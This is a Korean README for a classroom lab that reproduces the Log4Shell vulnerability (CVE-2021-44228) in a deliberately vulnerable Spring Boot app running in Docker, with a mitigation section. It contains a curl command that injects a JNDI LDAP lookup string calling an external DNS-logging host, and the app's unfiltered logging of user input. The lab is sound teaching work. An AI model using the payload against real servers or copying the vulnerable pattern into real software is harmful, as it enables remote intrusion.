
Apache Log4j 취약점(CVE-2021-44228)에 대한 기술 연구 및 테스트 환경 구축. Docker 기반 PoC(Proof of Concept)와 PSSI 업데이트 제안을 포함. 실습(TP) 목적.
이 프로젝트는 Apache Log4j 라이브러리에 영향을 미치는 심각한 취약점 Log4Shell (CVE-2021-44228)을 재현하고 이해하기 위한 통제된 테스트 환경입니다.
Secutp1/
├── Dockerfile # Construction de l'image Docker
├── pom.xml # Dépendances Maven (Log4j 2.14.1 vulnérable)
├── README.md # Ce fichier
└── src/
└── main/
└── java/
└── com/
└── example/
└── VulnerableApplication.java # Application Spring Boot vulnérable
공격자가 악성 문자열을 보내는 것만으로 서버가 허용되지 않은 아웃바운드 네트워크 연결을 수행하도록 강제할 수 있는 CVE-2021-44228 취약점을 악용하는 방법을 시연합니다.
pom.xml)pom.xml 파일은 보안 패치 이전 버전인 Log4j 2.14.1을 강제로 사용합니다:
<log4j2.version>2.14.1</log4j2.version>
이 버전에는 기본적으로 활성화된 JndiLookup 클래스가 포함되어 있으며, 이것이 문제의 근원입니다.
VulnerableApplication.java)애플리케이션은 REST 웹 서비스를 노출합니다. 취약점은 index 메서드에 있습니다:
@GetMapping("/")
public String index(@RequestParam(name = "input", required = false, defaultValue = "test") String input) {
// LA LIGNE VULNÉRABLE :
logger.info("Requête reçue, input : " + input);
return "Bonjour ! Votre input a été loggé : " + input;
}
문제점: 애플리케이션이 사용자 매개변수(input)를 가져와 필터링 없이 logger.info()에 직접 전달합니다. 그러면 Log4j가 내용을 잠재적인 명령으로 해석합니다.
Dockerfile)Dockerfile은 2단계 빌드를 사용합니다:
maven:3.8.4-openjdk-11)eclipse-temurin:11-jre로 실행💡 Java 11을 사용하는 것이 적절한 이유는 최신 버전에서는 기본적으로 원격 클래스 로딩을 제한하기 때문입니다.
공격은 JNDI(Java Naming and Directory Interface) 인젝션을 기반으로 합니다:
${jndi:protocol://url} 구문을 감지합니다.다음 파일들이 동일한 폴더에 있는지 확인하세요:
Dockerfilepom.xmlsrc/main/java/com/example/VulnerableApplication.javadocker build -t vulnerable-app .
이 명령은 Maven 종속성(Log4j 2.14.1)을 다운로드하고 이미지를 생성합니다.
docker run -p 8080:8080 --name demo-log4j vulnerable-app
이제 애플리케이션이 포트 8080에서 수신 대기합니다.
DNS 로깅 서비스에 접속하세요:
제공된 주소를 복사하세요 (예: mon-test.dnslog.cn)
curl "http://localhost:8080/?input=\${jndi:ldap://mon-test.dnslog.cn/a}"
📝 참고:
\문자는 터미널에서$를 이스케이프하는 데 사용됩니다.
dnslog 사이트로 돌아가면 DNS 요청이 나타나는 것을 볼 수 있으며, 이는 서버가 주입된 코드를 실행했음을 확인합니다.
| 단계 | 동작 |
|---|---|
| 1 | Java 애플리케이션이 HTTP 요청을 수신 |
| 2 | logger.info(...) 행이 input 매개변수를 처리 |
| 3 | Log4j가 ${jndi:...} 구문을 감지 |
| 4 | Log4j가 원격 서버로 LDAP 조회를 실행 |
| 5 | DNSLog 인터페이스에 DNS 요청이 나타남 |
서버는 사용자 요청을 로깅하는 것만으로 외부 시스템으로의 아웃바운드 연결을 수행했습니다.
실제 시나리오에서는 이 연결을 통해 다음과 같은 일이 가능했습니다:
이 취약점을 수정하려면:
-Dlog4j2.formatMsgNoLookups=true이 프로젝트는 교육 목적으로만 제공됩니다. 책임감 있고 윤리적으로 사용하십시오.